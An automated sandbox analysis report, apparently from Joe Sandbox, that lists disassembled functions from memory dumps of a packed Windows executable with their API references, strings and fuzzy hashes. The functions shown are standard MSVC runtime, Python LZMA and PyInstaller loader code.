volatile, xrefs: 00007FFBBCD47FCC
float, xrefs: 00007FFBBCD47D35
__int8, xrefs: 00007FFBBCD47DF9
wchar_t, xrefs: 00007FFBBCD48071
unsigned , xrefs: 00007FFBBCD48107
__int64, xrefs: 00007FFBBCD47E87
volatile, xrefs: 00007FFBBCD47FF9
this , xrefs: 00007FFBBCD48095
<unknown>, xrefs: 00007FFBBCD47EF2
__int128, xrefs: 00007FFBBCD47E78
char32_t, xrefs: 00007FFBBCD480CD
int, xrefs: 00007FFBBCD47C8F
__int16, xrefs: 00007FFBBCD47DE7
char16_t, xrefs: 00007FFBBCD47EE0
long, xrefs: 00007FFBBCD47C7D
long , xrefs: 00007FFBBCD47CF2
UNKNOWN, xrefs: 00007FFBBCD48056
const, xrefs: 00007FFBBCD47FB1
double, xrefs: 00007FFBBCD47D09
__w64 , xrefs: 00007FFBBCD47E20
char8_t, xrefs: 00007FFBBCD47F01
bool, xrefs: 00007FFBBCD47EA8
short, xrefs: 00007FFBBCD47CA1
char, xrefs: 00007FFBBCD47CB3

Memory Dump Source

Source File: 00000002.00000002.1507818191.00007FFBBCD41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFBBCD40000, based on PE: true

Associated: 00000002.00000002.1507793399.00007FFBBCD40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1507847370.00007FFBBCD54000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1507910297.00007FFBBCD59000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1507939034.00007FFBBCD5A000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbbcd40000_YgJ5inWPQO.jbxd

Similarity

API ID: Name::operator+
String ID: volatile$<unknown>$UNKNOWN$__int128$__int16$__int32$__int64$__int8$__w64 $auto$bool$char$char16_t$char32_t$char8_t$const$decltype(auto)$double$float$int$long$long $short$signed $this $unsigned $void$volatile$wchar_t
API String ID: 2943138195-1482988683
Opcode ID: a2c27aef857a1be5b859030660f08b7ca73635be6048625c1ed2e335bbf60e8e
Instruction ID: 50abbf725405befb663302b22d33a94f2862cd2e359a5c9e537b79c9acc3ce65
Opcode Fuzzy Hash: a2c27aef857a1be5b859030660f08b7ca73635be6048625c1ed2e335bbf60e8e
Instruction Fuzzy Hash: 6B025BEAF18A12C8FB15DB7CD8582BC2BA0BB05384F514136DB0D56A98EF3DA945C358

Function 00007FFBBCD4B64C Relevance: 28.3, APIs: 15, Strings: 1, Instructions: 290COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBVCRUNTIME ref: 00007FFBBCD4B6DD
DName::operator+.LIBVCRUNTIME ref: 00007FFBBCD4B716
DName::operator+.LIBVCRUNTIME ref: 00007FFBBCD4B7EA
DName::operator+.LIBVCRUNTIME ref: 00007FFBBCD4B7FB
DName::operator+.LIBVCRUNTIME ref: 00007FFBBCD4B85E
DName::operator+.LIBVCRUNTIME ref: 00007FFBBCD4B86E
DName::operator+.LIBVCRUNTIME ref: 00007FFBBCD4B8BA
DName::operator+.LIBVCRUNTIME ref: 00007FFBBCD4B8CC
DName::operator+.LIBVCRUNTIME ref: 00007FFBBCD4BA41
DName::operator+.LIBVCRUNTIME ref: 00007FFBBCD4BAC1
DName::operator+.LIBVCRUNTIME ref: 00007FFBBCD4BAD0

Strings

`anonymous namespace', xrefs: 00007FFBBCD4B99E

Memory Dump Source

Source File: 00000002.00000002.1507818191.00007FFBBCD41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFBBCD40000, based on PE: true

Associated: 00000002.00000002.1507793399.00007FFBBCD40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1507847370.00007FFBBCD54000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1507910297.00007FFBBCD59000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1507939034.00007FFBBCD5A000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbbcd40000_YgJ5inWPQO.jbxd

Similarity

API ID: Name::operator+
String ID: `anonymous namespace'
API String ID: 2943138195-3062148218
Opcode ID: aec32b62843f06ec98af653d191f262bc38b8bb7144c10d1108c11b28ce6cb84
Instruction ID: 8b7746711e70173e4b9c2b0cff7de32cf36c294e9edbb5f462a0f531c4bbfda7
Opcode Fuzzy Hash: aec32b62843f06ec98af653d191f262bc38b8bb7144c10d1108c11b28ce6cb84
Instruction Fuzzy Hash: E1E187FAB08B82A9EB10CF38E4882AC77A0FB54788F445135EB8D17A95DF78E555C704

Function 00007FFBBB6071F0 Relevance: 26.4, APIs: 10, Strings: 5, Instructions: 156threadCOMMON

Download Yara Rule

APIs

PyType_GetModuleState.PYTHON313 ref: 00007FFBBB607217
PyThread_allocate_lock.PYTHON313 ref: 00007FFBBB60728B
PyBytes_FromStringAndSize.PYTHON313 ref: 00007FFBBB6072CB
_Py_Dealloc.PYTHON313 ref: 00007FFBBB60736F
PyLong_AsUnsignedLongLong.PYTHON313 ref: 00007FFBBB60738D
PyErr_Occurred.PYTHON313 ref: 00007FFBBB607396
PyErr_SetString.PYTHON313 ref: 00007FFBBB6073E5
_Py_Dealloc.PYTHON313 ref: 00007FFBBB61448E
_Py_Dealloc.PYTHON313 ref: 00007FFBBB6144BE

Strings

Cannot specify filters except with FORMAT_RAW, xrefs: 00007FFBBB6073D4
Unable to allocate lock, xrefs: 00007FFBBB61449B
Cannot specify memory limit with FORMAT_RAW, xrefs: 00007FFBBB6073F2
Invalid container format: %d, xrefs: 00007FFBBB6144D1
Must specify filters for FORMAT_RAW, xrefs: 00007FFBBB614474

Memory Dump Source

Source File: 00000002.00000002.1507537143.00007FFBBB601000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFBBB600000, based on PE: true

Associated: 00000002.00000002.1507511842.00007FFBBB600000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507566222.00007FFBBB617000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507566222.00007FFBBB61B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507625049.00007FFBBB622000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507647689.00007FFBBB623000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbbb600000_YgJ5inWPQO.jbxd

Similarity

API ID: Dealloc$Err_LongString$Bytes_FromLong_ModuleOccurredSizeStateThread_allocate_lockType_Unsigned
String ID: Cannot specify filters except with FORMAT_RAW$Cannot specify memory limit with FORMAT_RAW$Invalid container format: %d$Must specify filters for FORMAT_RAW$Unable to allocate lock
API String ID: 553332449-1518367256
Opcode ID: 1d80853906ed9ca39a4ccfc58220e474bd357f26f86dbdbab1004e32ec781117
Instruction ID: c63c7ca0fc15231a4895459e2c1ab90a8a4c058d2d7cf894897b8a06f7b3894e
Opcode Fuzzy Hash: 1d80853906ed9ca39a4ccfc58220e474bd357f26f86dbdbab1004e32ec781117
Instruction Fuzzy Hash: D7611BA1A08A4384EF6C8F3AEC94279B295BF45B94F849131DF1F162B4DE3CEC459308

Function 00007FF7FF5881C0 Relevance: 24.6, APIs: 6, Strings: 8, Instructions: 117COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7FF589400: MultiByteToWideChar.KERNEL32(?,?,?,00007FF7FF5845E4,00000000,00007FF7FF581985), ref: 00007FF7FF589439

ExpandEnvironmentStringsW.KERNEL32(?,00007FF7FF5888A7,?,?,00000000,00007FF7FF583CBB), ref: 00007FF7FF58821C

Part of subcall function 00007FF7FF582810: MessageBoxW.USER32 ref: 00007FF7FF5828EA

Strings

\, xrefs: 00007FF7FF588251
LOADER: failed to obtain the absolute path of the runtime-tmpdir., xrefs: 00007FF7FF5882C9
LOADER: failed to create runtime-tmpdir path %ls!, xrefs: 00007FF7FF588363
CreateDirectory, xrefs: 00007FF7FF58836C
LOADER: failed to expand environment variables in the runtime-tmpdir., xrefs: 00007FF7FF588230
%.*s, xrefs: 00007FF7FF5882FC
LOADER: runtime-tmpdir points to non-existent drive %ls (type: %d)!, xrefs: 00007FF7FF58828D
LOADER: failed to convert runtime-tmpdir to a wide string., xrefs: 00007FF7FF5881F3

Memory Dump Source

Source File: 00000002.00000002.1498290225.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000002.00000002.1498251254.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498348217.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5C1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498764854.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: ByteCharEnvironmentExpandMessageMultiStringsWide
String ID: %.*s$CreateDirectory$LOADER: failed to convert runtime-tmpdir to a wide string.$LOADER: failed to create runtime-tmpdir path %ls!$LOADER: failed to expand environment variables in the runtime-tmpdir.$LOADER: failed to obtain the absolute path of the runtime-tmpdir.$LOADER: runtime-tmpdir points to non-existent drive %ls (type: %d)!$\
API String ID: 1662231829-930877121
Opcode ID: edc9664b33811758d6c916b667f63e3a61f1ee376c3ece4c7328d7709112d215
Instruction ID: c840423aa0d0a90424b34485ed5f33c9943444137dfb87d24c9494e46243a34a
Opcode Fuzzy Hash: edc9664b33811758d6c916b667f63e3a61f1ee376c3ece4c7328d7709112d215
Instruction Fuzzy Hash: DC519411A19AC291FB50BB25E8516FAE291FF94781FC84231E93F876D5EE2CE504C7E0

Function 00007FFBBCD4C4B4 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 359COMMONLIBRARYCODE

Download Yara Rule

APIs

atol.API-MS-WIN-CRT-CONVERT-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,00007FFBBCD47810), ref: 00007FFBBCD4C91A
DName::DName.LIBVCRUNTIME ref: 00007FFBBCD4C959
swprintf_s.PGOCR ref: 00007FFBBCD4C979
DName::DName.LIBVCRUNTIME ref: 00007FFBBCD4C989
DName::operator+.LIBVCRUNTIME ref: 00007FFBBCD4C9D9

Strings

`generic-class-parameter-, xrefs: 00007FFBBCD4C9EA
`template-type-parameter-, xrefs: 00007FFBBCD4C9FA
nullptr, xrefs: 00007FFBBCD4C69D
`generic-method-parameter-, xrefs: 00007FFBBCD4C9A6
lambda, xrefs: 00007FFBBCD4C878
NULL, xrefs: 00007FFBBCD4C581

Memory Dump Source

Source File: 00000002.00000002.1507818191.00007FFBBCD41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFBBCD40000, based on PE: true

Associated: 00000002.00000002.1507793399.00007FFBBCD40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1507847370.00007FFBBCD54000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1507910297.00007FFBBCD59000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1507939034.00007FFBBCD5A000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbbcd40000_YgJ5inWPQO.jbxd

Similarity

API ID: NameName::$Name::operator+atolswprintf_s
String ID: NULL$`generic-class-parameter-$`generic-method-parameter-$`template-type-parameter-$lambda$nullptr
API String ID: 2331677841-2441609178
Opcode ID: 3c29747ae8710b15564f16d6c1c734fd538530989b0780686262821ebccf47fd
Instruction ID: 7fc30ab5483649d346beaf379a19c1460e6b28f7ced6f0384bf7dd524d9e38f2
Opcode Fuzzy Hash: 3c29747ae8710b15564f16d6c1c734fd538530989b0780686262821ebccf47fd
Instruction Fuzzy Hash: 57F18FFAF0864285FB14DB7CC99C1BC27A1AF84744F944136DB8E26A95EF3CA945C348

Function 00007FF7FF581600 Relevance: 22.9, APIs: 1, Strings: 12, Instructions: 145COMMON

Download Yara Rule

Strings

malloc, xrefs: 00007FF7FF581749
Failed to create symbolic link %s!, xrefs: 00007FF7FF581622
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF7FF5817DF
fwrite, xrefs: 00007FF7FF5817D1
fseek, xrefs: 00007FF7FF5816E1
fread, xrefs: 00007FF7FF5817E6
Failed to extract %s: failed to allocate temporary buffer!, xrefs: 00007FF7FF581742
Failed to extract %s: failed to open target file!, xrefs: 00007FF7FF58165C
Failed to extract %s: failed to open archive file!, xrefs: 00007FF7FF5816A2
fopen, xrefs: 00007FF7FF581663
Failed to extract %s: failed to write data chunk!, xrefs: 00007FF7FF5817CA
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF7FF5816DA

Memory Dump Source

Source File: 00000002.00000002.1498290225.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000002.00000002.1498251254.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498348217.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5C1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498764854.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to create symbolic link %s!$Failed to extract %s: failed to allocate temporary buffer!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to open target file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$Failed to extract %s: failed to write data chunk!$fopen$fread$fseek$fwrite$malloc
API String ID: 2050909247-1550345328
Opcode ID: 494fcd5394cd439dcfaf7b05fa2bab2aad16b02dc3babc062f03d62e9b1140d8
Instruction ID: 42583fd67a5256244861b10729d7d39e3ba4584d00640a868a6a934d15417087
Opcode Fuzzy Hash: 494fcd5394cd439dcfaf7b05fa2bab2aad16b02dc3babc062f03d62e9b1140d8
Instruction Fuzzy Hash: 1D519A21A096C392EB14BB2294401EAA3A0BF41B94FC44735EE7D47BE6DE3CE555C7E0

Function 00007FFBBB610708 Relevance: 22.9, APIs: 9, Strings: 4, Instructions: 107COMMON

Download Yara Rule

APIs

PyMapping_GetOptionalItemString.PYTHON313 ref: 00007FFBBB610735
PyMem_Calloc.PYTHON313 ref: 00007FFBBB61078D
PyArg_ParseTupleAndKeywords.PYTHON313 ref: 00007FFBBB610873
PyErr_SetString.PYTHON313 ref: 00007FFBBB6108A4
PyMem_Free.PYTHON313 ref: 00007FFBBB6108AD

Part of subcall function 00007FFBBB6118BC: PyLong_AsUnsignedLongLong.PYTHON313(?,?,00000006,00007FFBBB61075D), ref: 00007FFBBB6118C9
Part of subcall function 00007FFBBB6118BC: PyErr_Occurred.PYTHON313(?,?,00000006,00007FFBBB61075D), ref: 00007FFBBB6118D2

_Py_Dealloc.PYTHON313 ref: 00007FFBBB615674

Strings

Invalid compression preset: %u, xrefs: 00007FFBBB615699
preset, xrefs: 00007FFBBB610723
|OOO&O&O&O&O&O&O&O&, xrefs: 00007FFBBB610820
Invalid filter specifier for LZMA filter, xrefs: 00007FFBBB61089A

Memory Dump Source

Source File: 00000002.00000002.1507537143.00007FFBBB601000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFBBB600000, based on PE: true

Associated: 00000002.00000002.1507511842.00007FFBBB600000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507566222.00007FFBBB617000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507566222.00007FFBBB61B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507625049.00007FFBBB622000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507647689.00007FFBBB623000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbbb600000_YgJ5inWPQO.jbxd

Similarity

API ID: Err_LongMem_String$Arg_CallocDeallocFreeItemKeywordsLong_Mapping_OccurredOptionalParseTupleUnsigned
String ID: Invalid compression preset: %u$Invalid filter specifier for LZMA filter$preset$|OOO&O&O&O&O&O&O&O&
API String ID: 462412801-1461672608
Opcode ID: 868b533cc0c448d37309dcaeb519738a4885eb3ce6cb3332c7740bc17e887e02
Instruction ID: 201092fbe2d9abe56a94d59cd76e4de536d9d59a35c6c8c8bc31a77093c02f69
Opcode Fuzzy Hash: 868b533cc0c448d37309dcaeb519738a4885eb3ce6cb3332c7740bc17e887e02
Instruction Fuzzy Hash: D9510DB1A08B4285EB648F29E8402B9B3A4FB88B94F549136DB8E03B74DF3CD955D744

Function 00007FFBBB610B50 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 143threadCOMMON

Download Yara Rule

APIs

PyType_GetModuleState.PYTHON313 ref: 00007FFBBB610B96
PyArg_ParseTupleAndKeywords.PYTHON313 ref: 00007FFBBB610BD7
PyThread_allocate_lock.PYTHON313 ref: 00007FFBBB610C3E
PyErr_Format.PYTHON313 ref: 00007FFBBB610CC6
_Py_Dealloc.PYTHON313 ref: 00007FFBBB610CD9
PyErr_SetString.PYTHON313 ref: 00007FFBBB610D59
_Py_Dealloc.PYTHON313 ref: 00007FFBBB615733

Strings

Cannot specify both preset and filter chain, xrefs: 00007FFBBB610D48
Unable to allocate lock, xrefs: 00007FFBBB615740
Invalid container format: %d, xrefs: 00007FFBBB610CBC
|iiOO:LZMACompressor, xrefs: 00007FFBBB610BA9
Integrity checks are only supported by FORMAT_XZ, xrefs: 00007FFBBB61571A

Memory Dump Source

Source File: 00000002.00000002.1507537143.00007FFBBB601000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFBBB600000, based on PE: true

Associated: 00000002.00000002.1507511842.00007FFBBB600000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507566222.00007FFBBB617000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507566222.00007FFBBB61B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507625049.00007FFBBB622000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507647689.00007FFBBB623000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbbb600000_YgJ5inWPQO.jbxd

Similarity

API ID: DeallocErr_$Arg_FormatKeywordsModuleParseStateStringThread_allocate_lockTupleType_
String ID: Cannot specify both preset and filter chain$Integrity checks are only supported by FORMAT_XZ$Invalid container format: %d$Unable to allocate lock$|iiOO:LZMACompressor
API String ID: 2997458608-3984722346
Opcode ID: 9d33e9e74a13254238e8a9095ced3c150b01aeceb28cf37f8e25fad15e931a3b
Instruction ID: ef0688fa6874824ba5f1e773b1c3ce714680004d345b822f187b3181d7b92b33
Opcode Fuzzy Hash: 9d33e9e74a13254238e8a9095ced3c150b01aeceb28cf37f8e25fad15e931a3b
Instruction Fuzzy Hash: 376119B2E09A1289EB548F39EC410B8B7A4FB48B98B54A532DB0F53764DF3CE945C744

Function 00007FFBBCD49B14 Relevance: 19.9, APIs: 13, Instructions: 361COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBVCRUNTIME ref: 00007FFBBCD49B65
DName::operator+.LIBVCRUNTIME ref: 00007FFBBCD49C2E
DName::operator+.LIBVCRUNTIME ref: 00007FFBBCD49C77
DName::operator+.LIBVCRUNTIME ref: 00007FFBBCD49C88

Memory Dump Source

Source File: 00000002.00000002.1507818191.00007FFBBCD41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFBBCD40000, based on PE: true

Associated: 00000002.00000002.1507793399.00007FFBBCD40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1507847370.00007FFBBCD54000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1507910297.00007FFBBCD59000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1507939034.00007FFBBCD5A000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbbcd40000_YgJ5inWPQO.jbxd

Similarity

API ID: Name::operator+
String ID:
API String ID: 2943138195-0
Opcode ID: 41ef1431114346efaab8c60343cd86bdbcd24c7489ef4566e00d5aa078ef8b87
Instruction ID: 5e2064e68c62c7a37a163bf6b7f8252c2704578a9c68d05e3fa1a4844632b995
Opcode Fuzzy Hash: 41ef1431114346efaab8c60343cd86bdbcd24c7489ef4566e00d5aa078ef8b87
Instruction Fuzzy Hash: 5EF17CFAB08A8299EB10DF79D4982FC37B4AB0474CB444036EB5D57A99DF38D916C348

Function 00007FFBBB6086D0 Relevance: 19.3, APIs: 3, Strings: 8, Instructions: 60COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON313 ref: 00007FFBBB60871F
PyErr_NoMemory.PYTHON313 ref: 00007FFBBB614776

Strings

Unrecognized error from liblzma: %d, xrefs: 00007FFBBB614795
Insufficient buffer space, xrefs: 00007FFBBB60876C
Corrupt input data, xrefs: 00007FFBBB608763
Input format not supported by decoder, xrefs: 00007FFBBB608714
Invalid or unsupported options, xrefs: 00007FFBBB60875A
Unsupported integrity check, xrefs: 00007FFBBB614782
Internal error, xrefs: 00007FFBBB608744
Memory usage limit exceeded, xrefs: 00007FFBBB60874D

Memory Dump Source

Source File: 00000002.00000002.1507537143.00007FFBBB601000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFBBB600000, based on PE: true

Associated: 00000002.00000002.1507511842.00007FFBBB600000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507566222.00007FFBBB617000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507566222.00007FFBBB61B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507625049.00007FFBBB622000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507647689.00007FFBBB623000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbbb600000_YgJ5inWPQO.jbxd

Similarity

API ID: Err_$MemoryString
String ID: Corrupt input data$Input format not supported by decoder$Insufficient buffer space$Internal error$Invalid or unsupported options$Memory usage limit exceeded$Unrecognized error from liblzma: %d$Unsupported integrity check
API String ID: 60457842-2177155514
Opcode ID: 99a67f93001655eb32d03fea5a45ff6746db2e15172cea66ae1d1f9a8111160f
Instruction ID: 5f401aa5d9530c57cfe1bbe9f57c6a9951a47f63d31fdefbb402642bd5f1bf71
Opcode Fuzzy Hash: 99a67f93001655eb32d03fea5a45ff6746db2e15172cea66ae1d1f9a8111160f
Instruction Fuzzy Hash: 5F21FAE4E2C61389EE68C73EDCA4078A2A1BB46350FD4E031C70F069B89E5EED449618

Function 00007FFBBCD419D4 Relevance: 17.8, APIs: 7, Strings: 3, Instructions: 311COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00007FFBBCD41A31

Part of subcall function 00007FFBBCD43E04: __GetUnwindTryBlock.LIBCMT ref: 00007FFBBCD43E47
Part of subcall function 00007FFBBCD43E04: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00007FFBBCD43E6C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FFBBCD41B09
terminate.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFBBCD41B16
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00007FFBBCD41D59
terminate.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFBBCD41D87

Part of subcall function 00007FFBBCD45508: abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,00007FFBBCD4108E), ref: 00007FFBBCD45516

abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFBBCD41E4E
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FFBBCD41E83

Strings

csm, xrefs: 00007FFBBCD41AB2
csm, xrefs: 00007FFBBCD41A4B
csm, xrefs: 00007FFBBCD41B2E

Memory Dump Source

Source File: 00000002.00000002.1507818191.00007FFBBCD41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFBBCD40000, based on PE: true

Associated: 00000002.00000002.1507793399.00007FFBBCD40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1507847370.00007FFBBCD54000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1507910297.00007FFBBCD59000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1507939034.00007FFBBCD5A000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbbcd40000_YgJ5inWPQO.jbxd

Similarity

API ID: BlockFrameHandler3::Unwindabortterminate$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 4223619315-393685449
Opcode ID: 6da6cceb144a245c76afb91d09171081a696858682c4f12eaced2770b517540e
Instruction ID: eb93e827369dc282cf68c3e82cda56a293399048e57e57e60db809a29dc3a2bf
Opcode Fuzzy Hash: 6da6cceb144a245c76afb91d09171081a696858682c4f12eaced2770b517540e
Instruction Fuzzy Hash: 48D159FAB0868186EB20DF79D4493AD77A0FB45798F100235EB8D57A5ADF38E494C704

Function 00007FF7FF582180 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

GetDC.USER32 ref: 00007FF7FF5821AB
SelectObject.GDI32 ref: 00007FF7FF5821F2
DrawTextW.USER32 ref: 00007FF7FF582215
SelectObject.GDI32 ref: 00007FF7FF58222B
ReleaseDC.USER32 ref: 00007FF7FF58223B
MoveWindow.USER32 ref: 00007FF7FF58228B
MoveWindow.USER32 ref: 00007FF7FF5822CB
MoveWindow.USER32 ref: 00007FF7FF58231E
MoveWindow.USER32 ref: 00007FF7FF582366

Strings

P%, xrefs: 00007FF7FF5821FF

Memory Dump Source

Source File: 00000002.00000002.1498290225.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000002.00000002.1498251254.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498348217.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5C1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498764854.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: MoveWindow$ObjectSelect$DrawReleaseText
String ID: P%
API String ID: 2147705588-2959514604
Opcode ID: 044398bc2faddcfc72e28419b1c607044beef288ba0900b5e0371f537bcab75f
Instruction ID: 5208bd13e88c9471ebb121d1a79eb7c18ec6bb839ce31eb62f93fd72a425a48f
Opcode Fuzzy Hash: 044398bc2faddcfc72e28419b1c607044beef288ba0900b5e0371f537bcab75f
Instruction Fuzzy Hash: 2A51D626604BE186D7249F26A4181FAFBA1F798B61F404225EBEF43694DF3CD055DB20

Function 00007FFBBB6105D4 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 90COMMON

Download Yara Rule

APIs

PyMapping_Check.PYTHON313(?,?,?,?,00000000,00000000,?,00007FFBBB610564), ref: 00007FFBBB6105EC
PyMapping_GetOptionalItemString.PYTHON313(?,?,?,?,00000000,00000000,?,00007FFBBB610564), ref: 00007FFBBB61060B
PyLong_AsUnsignedLongLong.PYTHON313(?,?,?,?,00000000,00000000,?,00007FFBBB610564), ref: 00007FFBBB610627
PyErr_Occurred.PYTHON313(?,?,?,?,00000000,00000000,?,00007FFBBB610564), ref: 00007FFBBB610643
PyErr_Format.PYTHON313(?,?,?,?,00000000,00000000,?,00007FFBBB610564), ref: 00007FFBBB6106E3
PyErr_SetString.PYTHON313(?,?,?,?,00000000,00000000,?,00007FFBBB610564), ref: 00007FFBBB6106FE
_Py_Dealloc.PYTHON313(?,?,?,?,00000000,00000000,?,00007FFBBB610564), ref: 00007FFBBB615667

Strings

Filter specifier must be a dict or dict-like object, xrefs: 00007FFBBB61565B
Filter specifier must have an "id" entry, xrefs: 00007FFBBB6106F4
Invalid filter ID: %llu, xrefs: 00007FFBBB6106D6

Memory Dump Source

Source File: 00000002.00000002.1507537143.00007FFBBB601000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFBBB600000, based on PE: true

Associated: 00000002.00000002.1507511842.00007FFBBB600000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507566222.00007FFBBB617000.00000002.00000001.01000000.00000007.sdmpDownload File
